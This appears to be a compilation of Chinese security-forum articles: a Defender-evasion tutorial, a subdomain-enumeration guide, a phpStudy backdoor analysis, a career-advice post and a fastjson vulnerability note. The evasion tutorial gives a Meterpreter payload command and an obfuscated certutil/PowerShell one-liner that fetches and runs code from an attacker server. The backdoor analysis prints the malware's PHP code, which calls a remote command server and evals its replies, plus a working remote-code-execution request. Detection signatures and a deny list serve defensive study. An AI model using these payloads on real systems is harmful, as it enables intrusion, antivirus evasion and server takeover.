一个任务到底要多久才能完成？其实任务提交后，无需关注任务进展，任务完成后，自动将任务结果表格，以附件形式发送至云悉邮件账号。
是不是还可以方便一点？
很多同学能发现，云悉资产查出来的大量域名没法导出，查指纹十分不方便，后面我们将会解决这个问题，毕竟云悉资产就该一键查询。
### 公测说明
云悉指纹批量查询公测时间：
2017年12月13日 ~ 2017年12月20日
面向用户：
云悉平台“见习情报员”及以上用户组
### 彩蛋
评论区点赞最多的前5位将各获得一枚云悉邀请码 | 社区文章 |
# 看我如何使用CertUtil.exe进行内存注入攻击
##### 译文声明
本文是翻译文章，文章来源：https://www.coalfire.com/
原文地址：<https://www.coalfire.com/The-Coalfire-Blog/May-2018/PowerShell-In-Memory-Injection-Using-CertUtil-exe>
译文仅供参考，具体内容表达以及含义原文为准。
##
## 写在前面的话
你有没有听过那句老话：“生命中唯一不变的就是改变？”在渗透测试和信息安全领域，也是如此。新的防守总是不断涌现。最近我正忙于内部事务，另一项工作也在进行中，这时我发现微软升级了Windows
Defender，它几乎出现在我们最近遇到的每一个微软操作系统上。我感到有点绝望。几年来，我使用带有`Invoke-Shellcode`的PowerShell来轻松地控制shell，但现在这些方法都凉了。
但并不是彻底凉了。最近我一直在做一些研究和准备，我将在今年晚些时候在Black
Hat上介绍代码注入技术。我阅读了Microsoft有关`Certutil.exe`与PowerShell一起在多个博客网站上执行内存注入的文章。最后，我将推荐Daniel
Bohannon编写的PowerShell模块[Invoke-CradleCrafter](https://github.com/danielbohannon/Invoke-CradleCrafter)。由于我已经使用了[Invoke-Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation)，所以向`Invoke-CradleCrafter`的过渡非常轻松。
在这篇博客文章中，我将讨论使用`PowerShell`，`Invoke-CradleCrafter`和`Microsof`t的`Certutil.exe`来制作payload和可用于逃避最新版本的Windows
Defender（截至撰写本文时）的单行程序的步骤，以及作为不被入侵检测系统和行为分析所捕获的技巧。毕竟，PowerShell仍然是最简单和最好的方法之一，但与此同时，它也在出卖你，因为它一运行就与AMSI进行交流，这使得事情有点具有挑战性。
##
## 开始
设置要求： Linux，Metasploit，Invoke-CradleCrafter，PowerShell for Linux和Windows 10.
安装[PowerShell for
Linux](https://github.com/PowerShell/PowerShell)和[Metasploit](https://github.com/rapid7/metasploit-framework)。
我会告诉你我更喜欢在Linux上运行PowerShell，所以Defender不会出问题。从[GitHub](https://github.com/danielbohannon/Invoke-CradleCrafter.git)下载`Invoke-CradleCrafter`。
接下来，我们将通过执行以下操作来创建base64编码的PowerShell Meterpreter payload：
`msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<YOUR IP HERE>
LPORT=443 -e cmd/powershell_base64 -f psh -o load.txt`
请注意，只要`certutil`可以获取并读取其内容，有效内容文件的扩展名就可以是任何内容。例如，一个组织可能有一个不允许下载脚本的策略（或IDS，内容过滤器等），但它们可能允许`.txt`文件或甚至其他异常扩展的文件。如果你要改变它，只要确保你在`Invoke-CradleCrafter`（见下文）中设置URL时补偿了这一点。
接下来，您将创建一个用于提供Web内容的文件夹。在这个例子中，我们将调用我们的文件夹payload将`PowerShell Meterpreter
PowerShell`脚本放置在此文件夹内。
接下来，我们将使用`Invoke-CradleCrafter`来混淆我们的`certutil`和PowerShell命令，这些命令将用于绕过Defender执行内存中注入。
通过输入`pwsh`或PowerShell，进入Linux主机的PowerShell提示。进入`Invoke-CradleCrafter`目录并运行以下命令：
`Import-Module .Invoke-CradleCrafter.psd1; Invoke-CradleCrafter`
在提示符下键入： `SET URL http(s)://<YOUR IP>/load.txt`，或者您可以使用其他扩展名等。
下一步输入`MEMORY`然后`CERTUTIL`：
接下来，您将看到您的混淆选项。我通常选择全部，然后输入1
获得结果后，将其放在Windows机器上的一个名为`raw.txt`的文件中。你可以使用`certutil`对这个文件进行base64编码，并创建名为`cert.cer`的文件并将其放置在Web服务器上。然后，我们将构建一个将被远程调用的单行程序，用于将该文件下载并在目标上执行。一旦执行，它将调用我们的`paylaod
load.txt`并通过PowerShell注入Meterpreter到内存中。
使用`certutil`来编码`raw.txt`文件：
看起来像一个真正的证书，不是吗？
将您的`cert.cer`放在您要提供内容的paylaod目录中,然后，我们将构建我们的单行程序，它可以放在批处理文件中，或者使用命令行比如[CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec)等强大的工具来执行。
**One-liner:**
`powershell.exe -Win hiddeN -Exec ByPasS add-content -path %APPDATA%cert.cer
(New-Object Net.WebClient).DownloadString('http://YOUR IP HERE/cert.cer');
certutil -decode %APPDATA%cert.cer %APPDATA%stage.ps1 & start /b cmd /c
powershell.exe -Exec Bypass -NoExit -File %APPDATA%stage.ps1 & start /b cmd /c
del %APPDATA%cert.cer`
一旦你设置好了所有的东西，并且你的web服务器启动了内容服务的地方，你可以运行上面的命令，你应该得到一个Meterpreter shell：
您的网络服务器应该获得2次点击：
Defender被成功绕过并建立了一个Meterpreter会话：
请注意，要使此攻击成功，需要手动删除执行的Meterpreter
PowerShell脚本。`cert.ce`r文件将自动被删除，但您需要在Meterpreter会话中删除`stage.ps1`通过以下操作:
另外请注意，您也可以从您可能通过其他方式获得的命令shell中下载到PowerShell，并复制`stage.ps1`文件的内容以直接执行您的有效内容，如下所示：
##
## 最后的教导
最后，我想起了改变是多么的美好。强迫你去研究和尝试新技术，这种变化不仅可以帮助你成长为优秀渗透测试者，还可以帮助你成为更好的顾问并教育顾客如何更好地装备并调整他们的防御以检测这些高级攻击。 | 社区文章 |
# 子域名探测
> 通过收集子域名信息来进行渗透是目前常见的一种手法。
> 子域名信息收集可以通过手工，也可以通过工具，还可以通过普通及漏洞搜索引擎来进行分析。
> 在挖SRC漏洞时，子域名信息的收集至关重要！
## 为什么要进行子域名探测？
> * 子域名探测可以帮我们发现渗透测试中更多的服务，这将增加发现漏洞的可能性
> * 查找一些用户上较少，被人遗忘的子域名，其上运行的应用程序可能会使我们发现关键漏洞
> * 通常，同一组织的不同域名/应用程序中存在相同的漏洞
> * 子域名中的常见资产类型一般包括办公系统，邮箱系统，论坛，商城等，其他管理系统，网站管理后台等较少出现在子域名中
>
## 子域名探测方法大全
### 在线接口
> <https://crt.sh/>
> <https://censys.io/>
> <https://transparencyreport.google.com/https/certificates>
> <https://dnsdumpster.com/>
> <https://hackertarget.com/find-dns-host-records/>
> <https://x.threatbook.cn/>
> <https://www.virustotal.com/gui/home/search>
> <https://phpinfo.me/domain/>
> <https://site.ip138.com/baidu.com/domain.htm>
> <https://www.t1h2ua.cn/tools/>
> <http://tool.chinaz.com/subdomain/>
> [https://spyse.com/site/not-> found?q=domain%3A%22github%22&criteria=cert](https://spyse.com/site/not-> found?q=domain%3A%22github%22&criteria=cert)
### 暴力枚举
> Layer子域名爆破机
> Layer是windows下的一款子域名探测工具，其工作原理是利用子域名字典进行爆破，使用简单容易上手。
>
>
> **Amass
> 工具描述：爆破, google, VirusTotal, alt names**
> go get -u github.com/OWASP/Amass/...
> amass -d target.com -o $outfile
> Knock
>
> **工具描述：AXFR, virustotal, 爆破**
> apt-get install python-dnspython
> git clone <https://xxx.com/guelfoweb/knock.git>
> cd knock
> nano knockpy/config.json # <\- set your virustotal API_KEY
> python setup.py install
>
### 搜索引擎
> * **Google**
> intitle=公司名称
> 过滤掉 -site:www.target.com
> 我们可以在Google搜索中使用 site:运算符来查找一个域的所有子域名
> 谷歌还额外支持减号运算符 site:*.wikimedia.org -www -store -jobs -uk 以排除我们不感兴趣的子域名
>
>
> * **Bing**
> Bing搜索引擎也支持一些高级搜索运算符。与Google一样，Bing也支持site:运算符，可以帮助您检查除Google搜索之外的其他结果。
> 发现子域名: site:target.com
>
> * **百度**
> intitle=公司名称
> * **钟馗之眼**
> <https://www.zoomeye.org/>
> site=域名
> * **FOFA**
> <https://fofa.so/>
> 语法：domain=”baidu.com”
> 提示：以上方法无需爆破，查询速度快，需要快速收集资产时可以优先使用，后面再用其他方法补充。
>
### Certificate Transparency（证书透明）
**SSL/TLS证书**
> 证书透明度(Certificate
> Transparency)是证书授权机构的一个项目，证书授权机构会将每个SSL/TLS证书发布到公共日志中。一个SSL/TLS证书通常包含域名、子域名和邮件地址。查找某个域名所属证书的最简单的方法就是使用搜索引擎搜索一些公开的CT日志。
>
> **在线查询：**
> <https://crt.sh/>
> <https://censys.io/>
> <https://developers.facebook.com/tools/ct/>
> <https://google.com/transparencyreport/https/ct/>
> <https://transparencyreport.google.com/https/certificates>
>
> **CTFR
> 工具描述：滥用证书透明记录**
> git clone <https://xxx.com/UnaPibaGeek/ctfr.git>
> cd ctfr
> pip3 install -r requirements.txt
> python3 ctfr.py -d target.com -o $outfile
>
> **Censys_subdomain_enum.py
> 工具描述：提取子域名，从Censys的SSL/TLS证书中收集子域名**
> pip install censys
> git clone <https://xxx.com/appsecco/the-art-of-subdomain-enumeration.git>
> python censys_enumeration.py target.com
>
>
> **Cloudflare_enum.py
> 工具描述：从Cloudflare提取子域名
> dns聚合器**
> pip install censys
> git clone <https://xxx.com/appsecco/the-art-of-subdomain-enumeration.git>
> cloudflare_subdomain_enum.py [email protected] target.com
>
> **Crt_enum_web.py
> 工具描述：解析<https://crt.sh/页面的子域名>**
> pip install psycopg2
> git clone <https://xxx.com/appsecco/the-art-of-subdomain-enumeration.git>
> python3 crtsh_enum_web.py target.com
>
> **San_subdomain_enum.py
> 工具描述：SSL/TLS证书中的SAN获取子域名**
> git clone <https://xxx.com/appsecco/the-art-of-subdomain-enumeration.git>
> ./san_subdomain_enum.py target.com
### Subject Alternate Name (SAN) - 主题备用名称
> SAN(Subject Alternate
> Name)主题备用名称，主题备用名称证书简单来说，在需要多个域名，将其用于各项服务时，可使用SAN证书。允许在安全证书中使用subjectAltName字段将多种值与证书关联，这些值被称为主题备用名称。名称可包括：IP地址、DNS名称等。
>
> **San_subdomain_enum.py
> 工具描述：SSL/TLS证书中的SAN获取子域名**
> 如上。
### Public datasets（公开数据集）
>
> 有些项目收集了全互联网范围内的扫描数据，并将其提供给研究人员和安全社区。该项目发布的数据集是子域名信息的宝库。虽然在这个庞大的数据集中找到子域名就像大海捞针，但却值得我们去一试。
>
> **Rapid7 Forward DNS dataset (Project Sonar)
> 工具描述：来自rapid7 sonar项目的公共数据集**
> wget <https://scans.io/data/rapid7/sonar.fdns_v2/20170417-fdns.json.gz>
> cat 20170417-fdns.json.gz | pigz -dc | grep ".target.org" | jq`
>
> **Forward DNS** (<https://scans.io/study/sonar.fdns_v2>) 数据集作为Project
> Sonar的一部分发布。
> 数据格式是通过gzip压缩的JSON文件。我们可以解析数据集以查找给定域名的子域名。
> 数据集很大(压缩后：20+GB，压缩前：300+GB）
> Command to parse & extract sub-domains for a given domain
> $ curl -silent
> <https://scans.io/data/rapid7/sonar.fdns_v2/20170417-fdns.json.gz> | pigz
> -dc | grep ".icann.org" | jq
>
>
> **数据聚合网站**
> threatcrowd
> <https://scans.io/study/sonar.rdns_v2>
> <https://opendata.rapid7.com/>
### 信息泄露
> * **信息泄露**
> 首先找到目标站点，在官网中可能会找到相关资产（多为办公系统，邮箱系统等），关注一下页面底部，也许有管理后台等收获。
> * **文件泄漏**
> crossdomain.xml(跨域策略文件cdx)
> robots.txt
> * **Git仓库泄露**
> * **从流量中分析提取**
>
### 内容解析（HTML，JavaScript，文件）
> **BiLE-suite
> 工具描述：HTML解析，反向dns解析**
> aptitude install httrack
> git clone <https://xxx.com/sensepost/BiLE-suite.git>
> perl BiLE.pl target.com
>
> **Second Order
> 工具描述：第二阶段域名扫描
> 通过HTML提取子域名**
> go get xxx.com/mhmdiaa/second-order
> cp ~/go/src/xxx.com/mhmdiaa/second-order/config.json
> ~/go/src/xxx.com/mhmdiaa/second-order/config-subs-enum.json
> 编辑修改LogCrawledURLs为True
> second-order -base <https://target.com> -config config.json -output
> target.com
>
> ### DNS解析
>
> **在线查询:**
> VirusTotal(<https://www.virustotal.com/>)
> ViewDNS(<https://viewdns.info/>)
> DNSdumpster(<https://dnsdumpster.com/>)
> Threatcrowd(<https://www.threatcrowd.org/>)
>
> **BiLE-suite
> 工具描述：HTML解析，反向dns解析**
> 如上。
>
> **Massdns
> 工具描述：dns解析**
> git clone <https://xxx.com/blechschmidt/massdns.git>
> cd massdns/
> make
> 解析域名：/bin/massdns -r lists/resolvers.txt -t AAAA -w results.txt domains.txt
> -o S -w output.txt
> 爆破域名：./scripts/subbrute.py wordlist.txt target.com | ./bin/massdns -r
> lists/resolvers.txt -t A -o S -w output.txt
> CT解析：./scripts/ct.py target.com | ./bin/massdns -r lists/resolvers.txt -t A
> -o S -w output.txt
>
### 区域传送
>
> 域传送是一种DNS事务，DNS服务器将其全部或部分域文件的副本传递给另一个DNS服务器。如果未安全地配置域传输送，则任何人都可以对指定名称的服务器启动域传送并获取域文件的副本。根据设计，域文件包含有关域和保存在域中的大量主机信息。
>
> **Windows：**
>
> 1. nslookup命令进入交互式shell
> 2. server命令 参数设定查询将要使用的DNS服务器
> 3. ls命令列出某个域中的所有域名
>
>
> **Linux：**
> **Dig
> 工具描述：dns区域传送，dns反向解析，dns解析**
> dig +multi AXFR target.com
> dig +multi AXFR $ns_server target.com
>
> ### DNS aggregators（DNS聚合器）
>
> **Cloudflare_enum.py
> 工具描述：从Cloudflare提取子域名
> dns聚合器**
> pip install censys
> git clone <https://xxx.com/appsecco/the-art-of-subdomain-enumeration.git>
> cloudflare_subdomain_enum.py [email protected] target.com
### DNS Cache Snooping（域名缓存侦测）
> **域名缓存侦测（DNS Cache Snooping）技术**
>
> 在企业网络中，通常都会配置DNS服务器，为网络内的主机提供域名解析服务。这些DNS不仅解析自己的私有域名，还会用递归方式，请求公网的DNS解析第三方域名，如baidu.com之类。为了提升性能，通常会使用缓存记录，记录解析过的域名，尤其是第三方域名。
> 域名缓存侦测（DNS Cache
> Snooping）技术就是向这些服务器发送域名解析请求，但要求不使用递归模式。这样DNS只能解析私有域名和缓存中保存的域名。借助该项技术，渗透测试人员就知道哪些域名是否被过请求过。例如，测试人员可以提交某安全软件更新所使用的域名，如果有记录，说明该网络使用该种安全软件。
>
> ### Alterations & permutations（换置 & 排序）
>
> **AltDNS**
> **工具描述：通过换置 &排序技术发现子域名**
> git clone <https://xxx.com/infosec-au/altdns.git>
> cd altdns
> pip install -r requirements.txt
> ./altdns.py -i subdomains.txt -o data_output -w words.txt -r -s
> results_output.txt
>
### DNSSEC(Domain Name System Security Extensions)，DNS安全扩展，DNSSEC区域漫步
>
> 由于DNSSEC处理不存在域名的方式，您可以"遍历"DNSSEC域并枚举该域中的所有域名。您可以从这里(<https://info.menandmice.com/blog/bid/73645/Take-> your-DNSSEC-with-a-grain-of-salt>) 了解有关此技术的更多信息。
>
> **Ldns-walk
> 工具描述：DNSSEC zone walking, 如果DNSSEC NSEC开启，可以获得全部域名。**
> aptitude install ldnsutils
> ldns-walk target.com
> ldns-walk @nsserver.com target.com
> 如果DNSSEC NSEC开启，可以获得全部域名。
>
### CSP HTTP首部
> **Domains-from-csp
> 工具描述：从CSP头提取子域名**
> git clone <https://xxx.com/yamakira/domains-from-csp.git>
> pip install click
> python csp_parser.py $URL
> python csp_parser.py $URL -r
>
> ### SPF记录
>
> SPF是通过域名的TXT记录来进行设置的，SPF记录列出了所有被授权代表域名发送电子邮件的主机
>
> **Assets-from-spf**
> **工具描述：SPF域名记录**
> git clone <https://xxx.com/yamakira/assets-from-spf.git>
> pip install click ipwhois
> python assets_from_spf.py target.com
>
>
> ### 虚拟主机爆破
>
> **vhost-brute
> 工具描述：虚拟主机爆破**
> aptitude install php-curl
> git clone <https://xxx.com/gwen001/vhost-brute.git>
>
>
> **Virtual-host-discovery
> 工具描述：虚拟主机爆破**
> git clone <https://xxx.com/jobertabma/virtual-host-discovery.git>
> ruby scan.rb --ip=1.1.1.1 --host=target.com --output output.txt
### ASN发现
> 通过域名查询到 ASN，再通过 ASN 查询到所属的所有 ip 范围
>
> ### 爬虫 Scraping（抓取）
>
> ## 泛解析问题
>
>
> 目前最好的解决方式是通过先获取一个绝对不存在域名的响应内容，再遍历获取每个字典对应的子域名的响应内容，通过和不存在域名的内容做相似度比对，来枚举子域名，但这样的实现是以牺牲速度为代价
>
> * <https://www.freebuf.com/news/133873.html>
> * <https://xz.aliyun.com/t/5509>
>
## tools
### OneForAll
> <https://github.com/shmilylty/OneForAll>
> 工具也有很多厉害的，平时我一般使用 OneForALL + ESD + JSfinder 来进行搜集，（ESD 可以加载 layer 的字典，很好用）
>
> ### Sublist3r
>
> <https://github.com/aboul3la/Sublist3r> \- 强大的快速子域枚举工具
> 评分: | 社区文章 |
PHP环境集成程序包phpStudy被公告疑似遭遇供应链攻击，程序包自带PHP的php_xmlrpc.dll模块隐藏有后门。经过分析除了有反向连接木马之外，还可以正向执行任意php代码。
## 影响版本
* Phpstudy 2016
php\php-5.2.17\ext\php_xmlrpc.dll
php\php-5.4.45\ext\php_xmlrpc.dll
* Phpstudy 2018 的php-5.2.17、php-5.4.45
PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll
## 分析过程
* 1、定位特征字符串位置
* 2、静态分析传参数据
* 3、动态调试构造传参内容
### php_xmlrpc.dll
PHPstudy 2018与2016两个版本的里的PHP5.2与PHP5.4版本里的恶意php_xmlrpc.dll一致。
#### 定位特征字符串位置
根据@eval()这个代码执行函数定位到引用位置。@是PHP提供的错误信息屏蔽专用符号。Eval()可执行php代码，中间%s格式符为字符串传参。函数地址为：0x100031F0
图1：eval特征代码
#### 静态分析传参数据
通过F5查看代码，分析代码流程，判断条件是有全局变量且有HTTP_ACCEPT_ENCODING的时候进入内部语句。接下来有两个主要判断来做正向连接和反向连接的操作。主要有两个部分。
第一部分，正向连接：判断ACCEPT_ENCODING如果等于gzip,deflate，读取ACCEPT_CHARSE的内容做base64解密，交给zend_eval_strings()函数可以执行任意恶意代码。
构造HTTP头，把Accept-Encoding改成Accept-Encoding: gzip,deflate可以触发第一个部分。
GET /index.php HTTP/1.1
Host: 192.168.221.128
…..
Accept-Encoding: gzip,deflate
Accept-Charset:cHJpbnRmKG1kNSgzMzMpKTs=
….
第二部分，反向连接：判断ACCEPT_ENCODING如果等于compress,gzip，通过关键部分@eval(gzuncompress('%s'));可以看到拼接了一段恶意代码，然后调用gzuncompress方法执行解密。
构造HTTP头，把Accept-Encoding改成Accept-Encoding: compress,gzip可以触发第二部分。
GET /index.php HTTP/1.1
Host: 192.168.221.128
…..
Accept-Encoding:compress,gzip
….
图2：第1部分流程判断代码
图3：第2部分流程判断代码
这一部分有两处会执行zend_eval_strings函数代码的位置。分别是从1000D66C到1000E5C4的代码解密：
@ini_set("display_errors","0");
error_reporting(0);
function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
$result = "";
$handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);
if( !$handle ){
$handle = fsockopen($ip, intval($port), $errno, $errstr, 5);
if( !$handle ){
return "err";
}
}
fwrite($handle, $sendMsg."\n");
while(!feof($handle)){
stream_set_timeout($handle, 2);
$result .= fread($handle, 1024);
$info = stream_get_meta_data($handle);
if ($info['timed_out']) {
break;
}
}
fclose($handle);
return $result;
}
$ds = array("www","bbs","cms","down","up","file","ftp");
$ps = array("20123","40125","8080","80","53");
$n = false;
do {
$n = false;
foreach ($ds as $d){
$b = false;
foreach ($ps as $p){
$result = tcpGet($i,$d.".360se.net",$p);
if ($result != "err"){
$b =true;
break;
}
}
if ($b)break;
}
$info = explode("<^>",$result);
if (count($info)==4){
if (strpos($info[3],"/*Onemore*/") !== false){
$info[3] = str_replace("/*Onemore*/","",$info[3]);
$n=true;
}
@eval(base64_decode($info[3]));
}
}while($n);
从1000D028 到1000D66C的代码解密：
@ini_set("display_errors","0");
error_reporting(0);
$h = $_SERVER['HTTP_HOST'];
$p = $_SERVER['SERVER_PORT'];
$fp = fsockopen($h, $p, $errno, $errstr, 5);
if (!$fp) {
} else {
$out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";
$out .= "Host: {$h}\r\n";
$out .= "Accept-Encoding: compress,gzip\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
fclose($fp);
}
#### 动态调试构造传参内容
OD动态调试传参值需要对httpd.exe进程进行附加调试，phpstudy启用的httpd进程有两个。一个是带有参数的，一个是没有带参数的。在下断的时候选择没有参数的httpd.exe下断才能触发后门。
根据前面IDA静态分析得到的后门函数地址，OD附加进程后从httpd.exe调用的模块里找到php_xmlrpc.dll模块，在DLL空间里定位后门函数地址0x100031F0，可能还需要手动修改偏移后下断点。使用burpsuite，构造Accept-Encoding的内容。发包后可以动态调试。建立触发点的虚拟机快照后可以反复跟踪调试得到最终可利用的payload。
图4：OD动态调试Payload
#### PHP脚本后门分析
脚本一功能：使用fsockopen模拟GET发包
@ini_set("display_errors","0");
error_reporting(0);
$h = $_SERVER['HTTP_HOST'];
$p = $_SERVER['SERVER_PORT'];
$fp = fsockopen($h, $p, $errno, $errstr, 5);
if (!$fp) {
} else {
$out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";
$out .= "Host: {$h}\r\n";
$out .= "Accept-Encoding: compress,gzip\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
fclose($fp);
}
脚本二功能：
内置有域名表和端口表，批量遍历然后发送数据。注释如下：
<?php
@ini_set("display_errors","0");
error_reporting(0);
function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
$result = "";
$handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10); // 接收数据，每次过来一条数据就要连接一次
if( !$handle ){
$handle = fsockopen($ip, intval($port), $errno, $errstr, 5); //错误的时候就重连一次测试。
if( !$handle ){
return "err";
}
}
fwrite($handle, $sendMsg."\n"); // 模拟发送数据
while(!feof($handle)){
stream_set_timeout($handle, 2);
$result .= fread($handle, 1024); // 读取文件
$info = stream_get_meta_data($handle); // 超时则退出
if ($info['timed_out']) {
break;
}
}
fclose($handle);
return $result;
}
$ds = array("www","bbs","cms","down","up","file","ftp"); // 域名表
$ps = array("20123","40125","8080","80","53"); // 端口表
$n = false;
do {
$n = false;
foreach ($ds as $d){ //遍历域名表
$b = false;
foreach ($ps as $p){ // 遍历端口表
$result = tcpGet($i,$d.".360se.net",$p);
if ($result != "err"){
$b =true;
break;
}
}
if ($b)break;
}
$info = explode("<^>",$result);
if (count($info)==4){
if (strpos($info[3],"/*Onemore*/") !== false){
$info[3] = str_replace("/*Onemore*/","",$info[3]);
$n=true;
}
@eval(base64_decode($info[3]));
}
}while($n);
?>
### POC
熟悉原理后可根据执行流程构造执行任意代码的Payload：
GET /index.php HTTP/1.1
Host: 192.168.221.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding:gzip,deflate
Accept-Charset:cHJpbnRmKG1kNSgzMzMpKTs=
Content-Length: 0
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Payload：printf(md5(333));
回显特征：310dcbbf4cce62f762a2aaa148d556bd
图5：Payload回显验证
#### 漏洞验证插件
漏洞插件采用长亭科技xray社区漏洞扫描器。虽然现今网络上好多放出来的批量poc，我还是觉得使用长亭的插件写poc，省了好多心力去考虑写各种代码，把主要精力专注到漏洞分析和写poc上。
name: poc-yaml-phpstudy-backdoor-rce
rules:
- method: GET
path: /index.php
headers:
Accept-Encoding: 'gzip,deflate'
Accept-Charset: cHJpbnRmKG1kNSg0NTczMTM0NCkpOw==
follow_redirects: false
expression: |
body.bcontains(b'a5952fb670b54572bcec7440a554633e')
detail:
author: 17bdw
Affected Version: "phpstudy 2016-phpstudy 2018 php 5.2 php 5.4"
vuln_url: "php_xmlrpc.dll"
links:
- https://www.freebuf.com/column/214946.html
#### 网络特征
Accept-Encoding:gzip,deflate 少一个空格
Accept-Charset:为Base64编码
#### 文件特征
特征一、
%s;@eval(%s('%s')); 25 73 3B 40 65 76 61 6C 28 25 73 28 27 25 73 27
29 29 3B
特征二、
@eval(%s('%s')); 40 65 76 61 6C 28 25 73 28 27 25 73 27 29 29 3B
rule PhpStudybackdoor
{
meta:
filetype=" PhpStudybackdoor "
description=" PhpStudybackdoor check"
strings:
$a1 = "@eval(%s('%s'));"
$a2 =”%s;@eval(%s('%s'));”
condition:
any of ($a*)
}
### 受影响站点
http://soft.onlinedown.net/soft/92421.htm
http://www.opdown.com/soft/16803.html#download
https://www.cr173.com/soft/433065.html
http://www.smzy.com/smzy/down319529.html
https://www.jb51.net/softs/601577.html
http://www.mycodes.net/16/5051.htm
http://www.3322.cc/soft/40663.html
http://www.3h3.com/soft/131645.html
http://www.downyi.com/downinfo/117446.html
http://www.pc9.com/pc/info-4030.html
https://www.newasp.net/soft/75029.html
http://www.downxia.com/downinfo/153379.html
https://www.33lc.com/soft/21053.html
http://www.xfdown.com/soft/11170.html#xzdz
http://www.wei2008.com/news/news/201817035.html
http://www.188soft.com/soft/890860.html
http://soft.onlinedown.net/soft/92421.htm
http://www.opdown.com/soft/16803.html#download
https://www.cr173.com/soft/433065.html
### 参考
* PhpStudyGhost后门供应链攻击事件及相关IOC
<https://www.freebuf.com/column/214946.html>
* 2019关于phpstudy软件后门简单分析
<https://mp.weixin.qq.com/s/dIDfgFxHlqenKRUSW7Oqkw>
* phpstudy后门文件分析以及检测脚本
<https://mp.weixin.qq.com/s/dIDfgFxHlqenKRUSW7Oqkw>
* Phpstudy官网于2016年被入侵，犯罪分子篡改软件并植入后门
<https://mp.weixin.qq.com/s/CqHrDFcubyn_y5NTfYvkQw>
* phpStudy隐藏后门预警
<https://www.cnblogs.com/0daybug/p/11571119.html> | 社区文章 |
本人是网络专业的，工作5年了，一直在安全行业边缘徘徊，想要往专业的渗透测试方向发展。
目前掌握的知识：
linux会一些基础的配置网卡啥的，安装软件特别是编译安装这块比及哦啊啊生疏。
windows server的话基本都会，但是没自己搭建过邮件系统，AD域控也是一知半解。
有一些网络基础，这块可能比搞渗透的在行一点，毕竟是学网络的，也就ccna水平吧。
有一些java基础，还去培训过一个月，现在忘得差不多了。
有一些android基础，不过之前学的还是eclipse，后面换成android studio了。
关于云计算知识，自己考过几个云计算服务的证书（非底层搭建那种），对云还是有一定的了解的；自己在腾讯云有个vps上面搭建了nps内网穿透工具，还有一个web应用和discuz
bbs还是有一些搭建应用的基础的。
目前的渗透水平：
系统渗透：能用metasploit的，比如永恒之蓝就能利用，像是容易蓝屏的RDP漏洞cve-2019-0708就不会分析原因了，总之就是个脚本小子，脚本出了问题就不会玩了。
web渗透：遇到sql注入基本都是awvs扫描出来的，自己没有手工挖到过，并且只是参照awvs的payload利用了一下，UI多查询几张表，没成功getshell过。
内网渗透：没进过内网，之前看到过几份进内网的报告，真实顶礼膜拜，能进内网很厉害。
学了很多只能自己搭建漏洞环境尝试，不敢也不会扫别人啊，虽然听说fofa、shodan可以这个搞。
现在在甲方驻场，不知道要怎么提升自己了。
大佬有什么提升自己的建议吗？目标是挖SRC能挖到高危getshell漏洞。不然都是挖一些没什么实际意义的漏洞，都失去热情了。 | 社区文章 |
fastjson是一个java编写的高性能功能非常完善的JSON库，应用范围非常广，在github上star数都超过8k，在2017年3月15日，fastjson官方主动爆出fastjson在1.2.24及之前版本存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。关于漏洞的具体详情可参考
：<https://github.com/alibaba/fastjson/wiki/security_update_20170315>
## 受影响的版本
fastjson <= 1.2.24
## 静态分析
根据官方给出的补丁文件，主要的更新在这个checkAutoType函数上，而这个函数的主要功能就是添加了黑名单，将一些常用的反序列化利用库都添加到黑名单中。具体包括：
bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,
org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.
comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,
org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework1234bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework
下面我们来分析checkAutoType的函数实现：
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}
if (typeName.length() >= maxTypeNameLength) {
throw new JSONException("autoType is not support. " + typeName);
}
final String className = typeName.replace('$', '.');
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
核心部分就是denyList的处理过程，遍历denyList，如果引入的库以denyList中某个deny打头，就会抛出异常，中断运行。
程序验证构造
